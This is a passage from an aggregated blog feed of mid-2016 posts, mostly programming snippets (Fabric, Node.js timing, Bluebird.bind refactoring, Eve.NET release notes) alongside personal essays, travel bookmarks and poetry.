configuration&amp;rdquo;. Now, this might seem a pretty innocuous statement, but it actually has a number of implications for the data models for network configuration and state that are being produced in the industry.&lt;/p&gt;
&lt;h3 id="what-is-applied-configuration"&gt;What is applied configuration?&lt;/h3&gt;
&lt;p&gt;The first question to an uninitiated reader might be, what is &amp;ldquo;applied configuration&amp;rdquo;? It&amp;rsquo;s not a term that has been in the common network nomenclature - and hence does need some further explanation.  To define it, we need to look at the way that configuration is changed on a network element.&lt;/p&gt;</description><author>rob.sh</author><pubDate>Tue, 02 Aug 2016 14:30:00 GMT</pubDate><guid isPermaLink="true">https://rob.sh/post/215/</guid></item><item><title>Using Gensim Word2Vec Embeddings in Keras</title><link>https://ben.bolte.cc/posts/2016-08-02-gensim</link><description>A short post and script regarding using Gensim Word2Vec embeddings in Keras, with example code.</description><author>Ben Bolte</author><pubDate>Tue, 02 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ben.bolte.cc/posts/2016-08-02-gensim</guid></item><item><title>Eve SDK for .NET v0.2 is out in the wild</title><link>https://nicolaiarocci.com/eve-sdk-for-net-v0-2-is-out-in-the-wild/</link><description>&lt;p&gt;I just released a long overdue update to &lt;a href="https://github.com/nicolaiarocci/Eve.NET/"&gt;Eve.NET&lt;/a&gt;. This release marks a significant improvement over the previous one, which was more a prototype than a real package. New features are as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PostAsync()&lt;/code&gt; supports bulk inserts&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DeleteAsync()&lt;/code&gt; supports bulk deletes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetAsync()&lt;/code&gt; has a &lt;code&gt;softDelete&lt;/code&gt; option to include soft-deleted documents with query results&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetAsync()&lt;/code&gt; has a &lt;code&gt;rawQuery&lt;/code&gt; option to pass raw Eve queries to the server&lt;/li&gt;
&lt;li&gt;&lt;code&gt;BearerAuthenticator&lt;/code&gt; class adds support for Bearer Token authentication&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Several fixes made it into this release and, most importantly, I switched to portable Profile259 which offers support for the following platforms: Xamarin.iOS, Xamarin.Android, WinPhone 8.1, Windows 8, .NET 4.5+. Yes, that means no more support for .NET 4.0. See the &lt;a href="https://github.com/nicolaiarocci/Eve.NET/blob/master/CHANGES"&gt;changelog&lt;/a&gt; for details.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Tue, 02 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/eve-sdk-for-net-v0-2-is-out-in-the-wild/</guid></item><item><title>Sun burns &amp;amp; sore feet</title><link>https://hth.is/2016/08/02/sun-burns-sore-feet/</link><description>Link to album
So over the last weekend I, my two cousins and their girlfriends went on a hike in the Icelandic country side. The first weekend in August is usually reserved for festivals held around the island and involve a fair bit of alcohol. This year we decided to go on a two day hike and experience nature. The hike was somewhere around 40-45km all in all.
We decided to go first to Hólaskjól, which is a camping center at one of the entry points into the highlands.</description><author>Hrafn Thorvaldsson</author><pubDate>Tue, 02 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://hth.is/2016/08/02/sun-burns-sore-feet/</guid></item><item><title>Mikael Cho: Founder of Unsplash &amp;amp; Crew</title><link>https://solomon.io/mikael-cho-founder-of-unsplash-crew/</link><description>Mikael Cho is the Unsplash and Crew. Unsplash, is a photo-sharing site that boasts 6 billion photo views per month.</description><author>Sam Solomon</author><pubDate>Tue, 02 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/mikael-cho-founder-of-unsplash-crew/</guid></item><item><title>Building an immutable key-value store on zlog</title><link>https://makedist.com/posts/2016/08/02/building-an-immutable-key-value-store-on-zlog/</link><description>Persistent data structures are the dopest shit.</description><author>Noah Watkins</author><pubDate>Tue, 02 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2016/08/02/building-an-immutable-key-value-store-on-zlog/</guid></item><item><title>Python Fabric: Getting File from Host as String</title><link>https://boyter.org/2016/08/python-fabric-file-host-string/</link><description>&lt;p&gt;When using fabric for deployments you will sometimes want check an existing file for the presence of a value before applying an update. A common example I run into is checking if an apt-source has already been added before adding it again. This is a little clunky in fabric, but thankfully you can write a simple helper which takes case of it for you.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;def&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;_get_remote&lt;/span&gt;(fileloc):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #e6db74;"&gt;'''Pulls back a file contents from connection as string'''&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #f92672;"&gt;from&lt;/span&gt; StringIO &lt;span style="color: #f92672;"&gt;import&lt;/span&gt; StringIO
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    fd &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; StringIO()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    get(fileloc, fd)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    content &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; fd&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;getvalue()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;return&lt;/span&gt; content&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Usage is fairly simple. Say we want to install the latest version of Varnish Cache on an Ubuntu server. Usage like so works,&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Tue, 02 Aug 2016 01:52:39 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/08/python-fabric-file-host-string/</guid></item><item><title>On Check Constraints and Whole Value</title><link>https://cmdev.com/blog/2016-08-01-wholevalueandcheckconstraints/</link><description>A business object with setters for attributes that are interdependent, will need check constraints on the setters. But there is a better way, using the Whole Value pattern.</description><author>The Cranky Developer on Crater Moon Development</author><pubDate>Mon, 01 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://cmdev.com/blog/2016-08-01-wholevalueandcheckconstraints/</guid></item><item><title>Is your developer ripping you off?</title><link>https://goshacmd.com/is-your-developer-ripping-you-off/</link><author>Gosha Spark</author><pubDate>Mon, 01 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/is-your-developer-ripping-you-off/</guid></item><item><title>San Francisco's Mission District travel bookmarks</title><link>https://xenodium.com/san-franciscos-mission-district-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;Atlas Cafe.&lt;/li&gt;
&lt;li&gt;Blue Bottle Coffee.&lt;/li&gt;
&lt;li&gt;Cafe la Boheme.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Clarion_Alley"&gt;Clarion Alley&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Coffee Bar.&lt;/li&gt;
&lt;li&gt;Dynamo donut &amp;amp; coffee.&lt;/li&gt;
&lt;li&gt;Four Barrel Coffee.&lt;/li&gt;
&lt;li&gt;Grand Coffee.&lt;/li&gt;
&lt;li&gt;Haus Coffee.&lt;/li&gt;
&lt;li&gt;Kafe 99.&lt;/li&gt;
&lt;li&gt;Linea cafe.&lt;/li&gt;
&lt;li&gt;Mission skateboards.&lt;/li&gt;
&lt;li&gt;pNakamoto's Bitcoin shop.&lt;/li&gt;
&lt;li&gt;Philz Coffee.&lt;/li&gt;
&lt;li&gt;Ritual Coffee roasters.&lt;/li&gt;
&lt;li&gt;Rodger's coffee &amp;amp; tea.&lt;/li&gt;
&lt;li&gt;Sightglass Coffee.&lt;/li&gt;
&lt;li&gt;Stable Cafe.&lt;/li&gt;
&lt;li&gt;Sugar lump coffee lounge.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 31 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/san-franciscos-mission-district-travel-bookmarks</guid></item><item><title>Burger</title><link>https://ph-uhl.com/0004-burger/</link><description>&lt;p&gt;Letztens habe ich darüber nachgedacht eine Geschichte über Burger zu schreiben. Diese Burger wie man sie bei Fastfood-läden bekommt oder wenn man bereit ist etwas mehr Geld auszugeben auch in Restaurants und Burgerläden. Mein Tenor wäre gewesen, dass ein Burger doch eigentlich das Sinnbild des...</description><author>Philipp Uhl</author><pubDate>Sun, 31 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ph-uhl.com/0004-burger/</guid></item><item><title>settimeout and nanoseconds</title><link>https://peterlyons.com/problog/2016/07/settimeout-and-nanoseconds/</link><description>&lt;p&gt;Just a quick "today I learned" that if you pass a number &amp;lt; 1 as the delay argument to &lt;code&gt;setTimeout&lt;/code&gt; node.js will attempt to run your callback at that time even if it's less than 1ms in the future.&lt;/p&gt;
&lt;pre class="language-js "&gt;&lt;code class="language-js"&gt;const pretty = require(&amp;#x27;pretty-hrtime&amp;#x27;)

setTimeout(() =&amp;gt; {
  const delta = process.hrtime(start)
  console.log(pretty(delta))
}, 0.5)

const start = process.hrtime()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you run this in a shell loop, you'll notice sometimes it is able to complete in 500 nanoseconds or so, but sometimes it can only manage 2.5ms.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i in $(seq 1 10); do node time.js; done
1.92 ms
562 μs
568 μs
1.87 ms
565 μs
2.62 ms
1.88 ms
1.87 ms
553 μs
566 μs
&lt;/code&gt;&lt;/pre&gt;</description><author>Pete's Points</author><pubDate>Sat, 30 Jul 2016 17:37:28 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/07/settimeout-and-nanoseconds/</guid></item><item><title>Eight Surprises During My First Year as a Father</title><link>http://blog.untrod.com/2016/07/observations-from-a-year-of-parenting.html</link><description>&lt;p&gt;I have a 13-month-old son named Dashiell (pronounced Dash-uhl, and I'm sorry in advance to schoolage Dashiell, whose teachers will all say "Dah-sheel?" on his first day). He's awesome. I mean...I'm not super objective, but even so, he's definitely a good dude. We're going to keep him.&lt;/p&gt;
&lt;p&gt;Most of …&lt;/p&gt;</description><author>Untrod</author><pubDate>Sat, 30 Jul 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2016/07/observations-from-a-year-of-parenting.html</guid></item><item><title>The Alchemist</title><link>https://apurva-shukla.me/bookshelf/the-alchemist/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ Ostensibly simple, yet dazzlingly rich; both in its witty didacticism and beautiful passages.

The Alchemist is a story of a boy…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sat, 30 Jul 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/the-alchemist/</guid></item><item><title>Ned Sherrin has left the building by Murray Lachlan Young</title><link>https://ho.dges.online/words/commonplace/ned-sherrin-has-left-the-building-by-murray-lachlan-young/</link><description>&lt;p&gt;&lt;em&gt;Chosen only as a hat-tip to my perennial Ned Sherrin/Ed Sherran mental mix-up.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ned dead, is that what you said?&lt;/p&gt;
&lt;p&gt;Quick mind&lt;br /&gt;
Fast draw&lt;br /&gt;
Dry wit&lt;br /&gt;
Sharp claw&lt;/p&gt;
&lt;p&gt;Warm heart&lt;br /&gt;
Fine chap&lt;br /&gt;
Time slot&lt;br /&gt;
Blue plaque?&lt;/p&gt;
&lt;p&gt;That was the week&lt;br /&gt;
That was the life&lt;br /&gt;
That was the Ned that was&lt;/p&gt;
&lt;p&gt;Ladies and gentleman,&lt;/p&gt;
&lt;p&gt;Mr Ned Sherrin has left the building.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sat, 30 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/ned-sherrin-has-left-the-building-by-murray-lachlan-young/</guid></item><item><title>The truth knocks on the door by Robert M Pirsig</title><link>https://ho.dges.online/words/commonplace/the-truth-knocks-on-the-door-by-robert-m-pirsig/</link><description>&lt;blockquote&gt;
&lt;p&gt;It was a puzzling thing. The truth knocks on the door and you say “Go away, I’m looking for the truth.” And so it goes away.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>ho.dges.online</author><pubDate>Sat, 30 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/the-truth-knocks-on-the-door-by-robert-m-pirsig/</guid></item><item><title>Сказка сказок</title><link>https://rybakov.com/blog/skazka/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/peaches.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;В &amp;ldquo;Сказке сказок&amp;rdquo; есть сцены, утопающие в желтом свете, там всё хорошо и спокойно и все дома и что-то потихоньку делают.&lt;br /&gt;
Воспоминания о детстве, наверное.&lt;/p&gt;
&lt;p&gt;Нашел эту фотографию августа 2015 и вспомнил. Папа построил веранду, и теперь там солнечно, и можно сидеть и есть персики в свете сказки сказок. Арс с папой и едят.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Fri, 29 Jul 2016 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/skazka/</guid></item><item><title>Some NeXT level stuff</title><link>https://jasoneckert.github.io/myblog/some-next-level-stuff/</link><description>&lt;h1 id="1-what-is-next-pun-intended"&gt;1. What is NeXT? (pun intended)&lt;/h1&gt;
&lt;p&gt;NeXT was the computer company that Steve Jobs (co-founder of Apple) created after he got kicked out of Apple in the 1980s.  They made high-end UNIX workstations that were intended to rival Apple computers, and primarily targeted for the higher education and science/engineering markets.  However, they were not as successful as their competitors in this market and when Steve Jobs returned to Apple in 1997, he ensured that Apple purchased NeXT.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Fri, 29 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/some-next-level-stuff/</guid></item><item><title>searchcode.com: The Architecture – migration 3.0</title><link>https://boyter.org/2016/07/searchcode-com-architecture-migration-3-0/</link><description>&lt;p&gt;27th July 2016 at about 9:30pm my local time (GMT +10) I updated the A records for searchcode&amp;rsquo;s nameservers to point at a new stack that has been several months in the making. As with most posts of this sort of nature a quick recap of where things were and where they are now.&lt;/p&gt;
&lt;p&gt;The previous searchcode stack consisted of two dedicated servers hosted by Hetzner. I have previously discussed this about &lt;a href="http://www.boyter.org/2014/06/searchcode/"&gt;two years ago when discussing searchcode next&lt;/a&gt;. The first server was a reasonably powerful machine running pretty much all of code required to deliver searchcode.com itself with the exception of the actual index. searchcode is a Django application and was using nginx to serve results directly out of memcached where possible to avoid consuming a running Gunicorn process. The move to have another server for the index came pretty quickly after searchcode was released as it was just not performant enough with everything on a single box which was the situation for a short time.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 28 Jul 2016 04:09:56 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/07/searchcode-com-architecture-migration-3-0/</guid></item><item><title>Counting Pizza with Python</title><link>https://tomforb.es/blog/counting-pizza-with-python/</link><description>I’m a full time nerd, even when I’m ordering pizza online I can’t stop myself from investigating how the websites I’m ordering from work. My latest investigation was Dominoes where I found a neat way to count the number of orders that they process throughout the day. This post is supposed to highlig...</description><author>Tom Forbes</author><pubDate>Thu, 28 Jul 2016 03:03:32 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/counting-pizza-with-python/</guid></item><item><title>Creativity</title><link>http://dimitarsimeonov.com/2016/07/28/creativity</link><description>&lt;p&gt;What is creativity? How to be more creative? I don’t know. Do you
know? I have some ideas about it, based on my observations of creative
people and my efforts to write.&lt;/p&gt;

&lt;p&gt;My hypothesis is that everybody can train and develop their
creativity, through regular delivery of good enough art and craft,
and ongoing increase in the quality and the frequency.&lt;/p&gt;

&lt;p&gt;Lets me first talk about what I mean by creativity? For me, it is
about making something new. First of all, &lt;em&gt;making&lt;/em&gt;. If you only think
about what you want to create, and not make anything out of it, then
there will be no result of this creativity and it is pointless. It is
not creativity, it is thinking. The result of the creativity needs to
be in a medium different than your brain. This medium could be
anything. It could be a piece of paper, a rock, or even the minds of
other people. If you gather up your friends and give a speech or a
toast, even if this speech is not recorded in a video or audio, your
friends remember it.&lt;/p&gt;

&lt;p&gt;The second condition is that the creation must be &lt;em&gt;novel&lt;/em&gt;. Otherwise
it is just copying. For example, if you take two ideas from two other
creations and you combine them into a new creation - then it still
counts as creativity! If you see an impressionist painter using dots
to construct an image and you think it is a cool idea, and you make a
different painting with the same technique, then this is not
copying. The total combination is something new. But if you take a
part of their painting and reproduce it exactly, then you are copying,
and not being creative.&lt;/p&gt;

&lt;p&gt;By my definition of creativity, the making of new things, I claim that
you can train yourself to be creative.&lt;/p&gt;

&lt;p&gt;Some people equate creativity with the generation of new concepts,
styles, genres, etc. With having some major great idea that nobody
else has had before. They would argue that we cannot create ideas at
will but need to catch them when they come near us. They would argue
that great ideas decide on their own when to come and in what form and
we cannot manufacture them. Since they equate ideas and creativity,
they might argue that we cannot manufacture creativity - it is
something that we get externally, and cannot develop ourselves. Even
though I don’t disagree that ideas are elusive beasts, and we cannot
have a process for comming up with great ideas, I claim that we can
get excellent at catching those beasts, setting traps for them, and
hunting them down once we spot their shadows in the woods. And once
we’ve caught some of them, we can domesticate and breed them.&lt;/p&gt;

&lt;p&gt;But, as I said, ideas are not creativity. Making new things is
creativity. Ideas facilitate creativity but it is not necessary to get
a new idea every time you create. It is fine to reuse old ideas, in
new combinations. Seriously. Look for example at the paintings. The
idea that you’ll put a bunch of paints on canvas has been reused over
and over. Each style in painting is an idea which combines with the
idea of putting paint on canvas. Each individual painting is just a
combination of previous ideas. And sometimes the painter is lucky and
that combination in itself reveals a new idea.&lt;/p&gt;

&lt;p&gt;You don’t need a new idea in order to create. Just gather up a bag of
ideas, pick a combination that nobody has picked before and do the
mechanics of setting this idea into reality. The mechanics are just
mechanics and we can get more adept at them as we practice.&lt;/p&gt;

&lt;p&gt;But how do you find a new combination of ideas? Aren’t they all taken
already? Nope. There are so many possible combinations. If you have N
&lt;em&gt;basic ideas&lt;/em&gt;, wild or domesticated beasts, then you have 2^N possible
combinations. That’s a lot. Of course, it gets harder to combine more
than a small number of ideas together, so a more realistic number can
be N to the power of K for some small fixed K. Given that there are
thousands, if not millions of already known ideas, it becomes obvious
that the number of viable combinations is too large to be fully
exhausted.&lt;/p&gt;

&lt;p&gt;And, I will go one step further to personalize creativity. Even if
anyone else has done the same combination of ideas before, but you
didn’t know about it, and you make it on your own - then I would still
count it as creativity. So creativity is &lt;em&gt;making things that are novel
to the maker&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;But hey, I said that you can train to be more creative, but I’ve been
talking about combinations of ideas and copying. I’ve shown that you
can be creative even if you aren’t good at catching wild ideas, but
I’ve also not given any practical ideas about how to train to be more
creative.&lt;/p&gt;

&lt;p&gt;I think it is simple. I don’t think it is easy. My answer is - pushing
yourself to create stuff with quality and quantity, over a long
time. And I think that both &lt;em&gt;quality&lt;/em&gt; and &lt;em&gt;quantity&lt;/em&gt; are important and
they help each other.&lt;/p&gt;

&lt;p&gt;For example, I want to write one hundred decent
essays in one year to achieve this. This is focus on quantity. I am
not trying to write the best essays possible. I’m trying to write a
lot. My plan is that if I force myself to write a lot, and I try to
keep my writing improving, I will improve my ability to express myself
eloquently in English and will improve my ability to think in detail
about complex topics and to construct complex arguments on the fly. I
believe that this focus on quantity will also improve the quality of
my writing.&lt;/p&gt;

&lt;p&gt;And so far, as long as I keep writing, I find it easier to come up
with new topics to write about. When I’m getting one essay done every
three to five days, and I encounter an idea, or a combination of ideas
that I feel is worth trying to write about, I catch it and I remember
it. I tend to notice more of those ideas soon after I’ve written as
well. I then keep the catch in a priority list of one or two future
ideas to write about. I’ve noticed that it doesn’t make sense for me
to switch away from the current topic until I’ve finished it or have
explicitly decided to abandon it.&lt;/p&gt;

&lt;p&gt;I’m focusing on quantity, but I also avoid working on more than one
thing at a time.&lt;/p&gt;

&lt;p&gt;When I bite down on an idea I don’t let go even if I notice a juicier
one around. I just make sure to finish eating every single piece of
meat from it until I set my eyes on the new target. If it were that
juicy and tender, I’ll still remember about it and go after it. To me
it is important to finish what I’ve started, because I get easily
distracted. Before committing to this simple rule of thumb, I’ve
struggled for a while to start writing regularly.&lt;/p&gt;

&lt;p&gt;I think that it is worth noting that focusing on quality can also
improve the quantity, by increasing efficiency of certain tasks. But
my intuition is that quantity improves quality a lot more than the
other way around. And that’s why I focus on quantity first.&lt;/p&gt;

&lt;p&gt;In summary, my recipe for becoming creative is to focus on quantity
first, then quality, and moving to new projects only after completing
the old ones. I think it is possible for &lt;em&gt;anyone&lt;/em&gt; to be creative. It
is not so much a matter of intrinsic talent, as much as being able to
pay the price in effort.&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 28 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/07/28/creativity</guid></item><item><title>PostgreSQL functions with Elixir Ecto</title><link>https://www.brightball.com/articles/postgresql-functions-with-elixir-ecto</link><description>Functions within PostgreSQL can be setup to return rows and included in queries just like any other table. Continuing with our theme of trying to push Elixir and Phoenix a little on this site rebuild, we will move our site search inside of a database function and experiment with different ways to call it from Ecto.</description><author>Brightball Articles</author><pubDate>Wed, 27 Jul 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/postgresql-functions-with-elixir-ecto</guid></item><item><title>Using lambdas with Bluebird.map</title><link>https://peterlyons.com/problog/2016/07/using-lambdas-with-bluebird-map/</link><description>&lt;h1 id="using-lambdas-with-bluebird-map"&gt;Using lambdas with Bluebird.map&lt;/h1&gt;
&lt;p&gt;A situation came up this week where a coworker had stumbled upon some really terse code. They weren't exactly clear on what was going on, so we went through an exercise together of rewriting the code in the most verbose format, then gradually shrinking it one piece at a time to arrive at the very terse but completely equivalent format.&lt;/p&gt;
&lt;h2 id="our-task-put-users-into-groups"&gt;Our Task: Put Users into Groups&lt;/h2&gt;
&lt;p&gt;Here's the situation. We need to do a series of database inserts to add a user to multiple groups. This is done with an SQL INSERT statement for each groupId linking that group to the given user.&lt;/p&gt;
&lt;p&gt;Here's the initial setup code that will be unchanged for all the examples in this post:&lt;/p&gt;
&lt;pre class="language-js "&gt;&lt;code class="language-js"&gt;const Bluebird = require(&amp;#x27;bluebird&amp;#x27;)

const db = {
  insert: (table, row, callback) =&amp;gt; {
    setTimeout(() =&amp;gt; {
      console.log(&amp;#x27;done adding row&amp;#x27;, row)
      callback(null, [])
    }, 1000)
  }
}
Bluebird.promisifyAll(db)

function addToGroup(userId, groupId) {
  console.log(&amp;#x27;adding user&amp;#x27;, userId, &amp;#x27;to group&amp;#x27;, groupId)
  return db.insertAsync(&amp;#x27;users_groups&amp;#x27;, {user_id: userId, group_id: groupId})
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="wtf-is-this"&gt;WTF is this?&lt;/h2&gt;
&lt;p&gt;The initial code encountered, which was unclear, was&lt;/p&gt;
&lt;pre class="language-js "&gt;&lt;code class="language-js"&gt;const groupIds = [42, 27, 33, 99]
const userId = 12

Bluebird.map(groupIds, addToGroup.bind(null, userId))
  .then(() =&amp;gt; {
    console.log(&amp;#x27;done&amp;#x27;)
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This makes use of &lt;code&gt;Function.prototype.bind&lt;/code&gt; which is available on all functions. To show what's going in in this very terse bit of code, we coded up the fully verbose format of equivalent code as follows.&lt;/p&gt;
&lt;pre class="language-js "&gt;&lt;code class="language-js"&gt;Bluebird.map(groupIds, function perGroup (groupId) {
  return addToGroup(userId, groupId)
})
  .then(() =&amp;gt; {
    console.log(&amp;#x27;done&amp;#x27;)
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We're using &lt;code&gt;Bluebird.map&lt;/code&gt; to iterate over each &lt;code&gt;groupId&lt;/code&gt; in the &lt;code&gt;groupIds&lt;/code&gt; array so the &lt;code&gt;perGroup&lt;/code&gt; function will be invoked 4 times since there are 4 values in the &lt;code&gt;groupIds&lt;/code&gt; array. Each invocation calls &lt;code&gt;addToGroup&lt;/code&gt; with the arguments in the proper order, and returns the promise that &lt;code&gt;addToGroup&lt;/code&gt; returns.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;addToGroup&lt;/code&gt; does the DB insert against our mocked-up database library which has been promisified with the &lt;code&gt;Bluebird.promisifyAll()&lt;/code&gt; utility function so &lt;code&gt;insertAsync&lt;/code&gt; will return a bluebird promise and not need a callback even though &lt;code&gt;insert&lt;/code&gt; is coded as a callback API.&lt;/p&gt;
&lt;p&gt;When coded like that, it was clearer what was going on. So we then started to trim out syntax that is technically unnecessary step by step as a learning exercise.&lt;/p&gt;
&lt;h2 id="shrinking-it-down"&gt;Shrinking it down&lt;/h2&gt;
&lt;p&gt;First to go was just the name of the &lt;code&gt;perGroup&lt;/code&gt; function, making it a lambda (anonymous function).&lt;/p&gt;
&lt;pre class="language-js "&gt;&lt;code class="language-js"&gt;Bluebird.map(groupIds, function (groupId) {
  return addToGroup(userId, groupId)
})
  .then(() =&amp;gt; {
    console.log(&amp;#x27;done&amp;#x27;)
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="sprinkle-some-es2015-arrow-function-on-it"&gt;Sprinkle Some ES2015 Arrow Function On It&lt;/h2&gt;
&lt;p&gt;Next we opted for the terser ES2015 arrow function syntax.&lt;/p&gt;
&lt;pre class="language-js "&gt;&lt;code class="language-js"&gt;Bluebird.map(groupIds, (groupId) =&amp;gt; {
  return addToGroup(userId, groupId)
})
  .then(() =&amp;gt; {
    console.log(&amp;#x27;done&amp;#x27;)
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="lose-the-curly-braces"&gt;Lose the Curly Braces&lt;/h2&gt;
&lt;p&gt;Now what we notice is we have an arrow function that just returns the value of a single expression. This means it's eligible for the ultra-terse no-curly form. So we axe the curlies and the &lt;code&gt;return&lt;/code&gt; keyword and keep it on one line.&lt;/p&gt;
&lt;pre class="language-js "&gt;&lt;code class="language-js"&gt;Bluebird.map(groupIds, (groupId) =&amp;gt; addToGroup(userId, groupId))
  .then(() =&amp;gt; {
    console.log(&amp;#x27;done&amp;#x27;)
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;OK now that's pretty terse. However, look closely at the anonymous mapping function itself &lt;code&gt;(groupId) =&amp;gt; addToGroup(userId, groupId)&lt;/code&gt;. How different is it from &lt;code&gt;addToGroup&lt;/code&gt;? Well, instead of taking 2 arguments, it only takes one. Then it calls &lt;code&gt;addToGroup&lt;/code&gt; with 2 arguments, the first being the &lt;code&gt;userId&lt;/code&gt; which is directly in the parent scope and the second being the &lt;code&gt;groupId&lt;/code&gt; that comes from &lt;code&gt;Bluebird.map&lt;/code&gt;. So you could think of it like a variant of &lt;code&gt;addToGroup&lt;/code&gt; with the &lt;code&gt;userId&lt;/code&gt; argument hard coded or "baked in" to be a particular value.&lt;/p&gt;
&lt;p&gt;It turns out that this is exactly what &lt;code&gt;Function.prototype.bind&lt;/code&gt; does. Given a function, bind creates a new function that has some of the arguments pre-specified ("bound") to particular values, leaving only the remaining arguments to be varied on each function call.&lt;/p&gt;
&lt;h2 id="back-to-bind"&gt;Back to .bind&lt;/h2&gt;
&lt;p&gt;So that gets us back to the &lt;code&gt;.bind&lt;/code&gt; format.&lt;/p&gt;
&lt;pre class="language-js "&gt;&lt;code class="language-js"&gt;Bluebird.map(groupIds, addToGroup.bind(null, userId))
  .then(() =&amp;gt; {
    console.log(&amp;#x27;done&amp;#x27;)
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It's a few characters shorter than even the tersest arrow function.&lt;/p&gt;
&lt;p&gt;What we are doing here is creating a new, unnamed function with pre-specified &lt;code&gt;this&lt;/code&gt; value and first argument value. When we call &lt;code&gt;addToGroup.bind(null, userId)&lt;/code&gt; passing &lt;code&gt;null&lt;/code&gt; as the first argument means the function &lt;code&gt;bind&lt;/code&gt; returns will not have access to a &lt;code&gt;this&lt;/code&gt; variable when called. &lt;code&gt;addToGroup&lt;/code&gt; is a regular function (not an object-oriented method) and makes no reference to &lt;code&gt;this&lt;/code&gt;, so it's perfectly OK to have it be &lt;code&gt;null&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The second argument to &lt;code&gt;bind&lt;/code&gt; will be "bound" as the first argument of our new &lt;code&gt;addToGroup&lt;/code&gt; variant. That leaves the 2nd argument unspecified, which lines up with the &lt;code&gt;Bluebird.map&lt;/code&gt; expecting a function that takes 1 argument which is a &lt;code&gt;groupId&lt;/code&gt;. Remember that &lt;code&gt;bind&lt;/code&gt; &lt;strong&gt;returns&lt;/strong&gt; the new function without executing it. So you could express this in English as "Hey addToGroup function, build me a variant of yourself with this userId fixed as the first argument and the other argument unspecified until later when I call the function".&lt;/p&gt;
&lt;h2 id="lodash-partial-version"&gt;lodash partial version&lt;/h2&gt;
